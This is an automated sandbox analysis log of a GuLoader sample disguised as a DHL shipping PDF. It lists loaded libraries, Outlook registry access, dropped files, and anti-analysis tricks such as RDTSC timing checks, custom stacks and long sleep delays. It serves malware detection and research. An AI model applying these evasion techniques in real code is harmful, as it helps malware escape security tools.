Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

File written: C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Enculturating.ini

Jump to behavior

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: DHL AWB Document_pdf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: Process Memory Space: DHL AWB Document_pdf.exe PID: 6132, type: MEMORYSTR
Source: Yara match	File source: 00000002.00000002.1691361148.00000000054CC000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2516246625.00000000017FC000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Code function: 2_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

2_2_10001A5D

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Code function: 2_2_10002D20 push eax; ret

2_2_10002D4E

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

File created: C:\Users\user\AppData\Local\Temp\nsn3651.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	API/Special instruction interceptor: Address: 5D5E7EA
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	API/Special instruction interceptor: Address: 208E7EA

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	RDTSC instruction interceptor: First address: 5CF9C45 second address: 5CF9C45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BACF57AF5h 0x00000007 cmp dl, cl 0x00000009 cmp ebx, ecx 0x0000000b jc 00007F6BACF578A3h 0x00000011 inc ebp 0x00000012 inc ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	RDTSC instruction interceptor: First address: 2029C45 second address: 2029C45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BACCDD215h 0x00000007 cmp dl, cl 0x00000009 cmp ebx, ecx 0x0000000b jc 00007F6BACCDCFC3h 0x00000011 inc ebp 0x00000012 inc ebx 0x00000013 rdtsc

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Memory allocated: 3020000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Memory allocated: 337D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Memory allocated: 334E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599103	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 598096	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597766	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597641	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597516	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597296	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 596826	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 596698	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 596591	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 596475	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 596341	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 596227	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 596124	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 595780	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 595581	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 595358	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 595140	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594593	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594484	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594375	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594266	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594156	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 594047	Jump to behavior

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Window / User API: threadDelayed 7674			Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Window / User API: threadDelayed 2167			Jump to behavior

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsn3651.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe

API coverage: 1.7 %

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7852	Thread sleep count: 7674 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7852	Thread sleep count: 2167 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -599103s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -598219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -598096s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -597984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -597875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -597766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -597641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -597516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -597406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -597296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -597187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -597063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -596937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -596826s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -596698s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -596591s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -596475s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -596341s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -596227s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -596124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -595780s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -595581s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -595468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -595358s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -595250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -595140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -595031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -594922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -594812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -594703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -594593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -594484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -594375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -594266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -594156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe TID: 7848	Thread sleep time: -594047s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 2_2_00405FFD FindFirstFileA,FindClose,	2_2_00405FFD
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 2_2_0040559B GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	2_2_0040559B
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 2_2_00402688 FindFirstFileA,	2_2_00402688
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_00405FFD FindFirstFileA,FindClose,	10_2_00405FFD
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_00402688 FindFirstFileA,	10_2_00402688
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Code function: 10_2_0040559B GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	10_2_0040559B

Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\DHL AWB Document_pdf.exe	Thread delayed: delay time: 599328	Jump to behavior
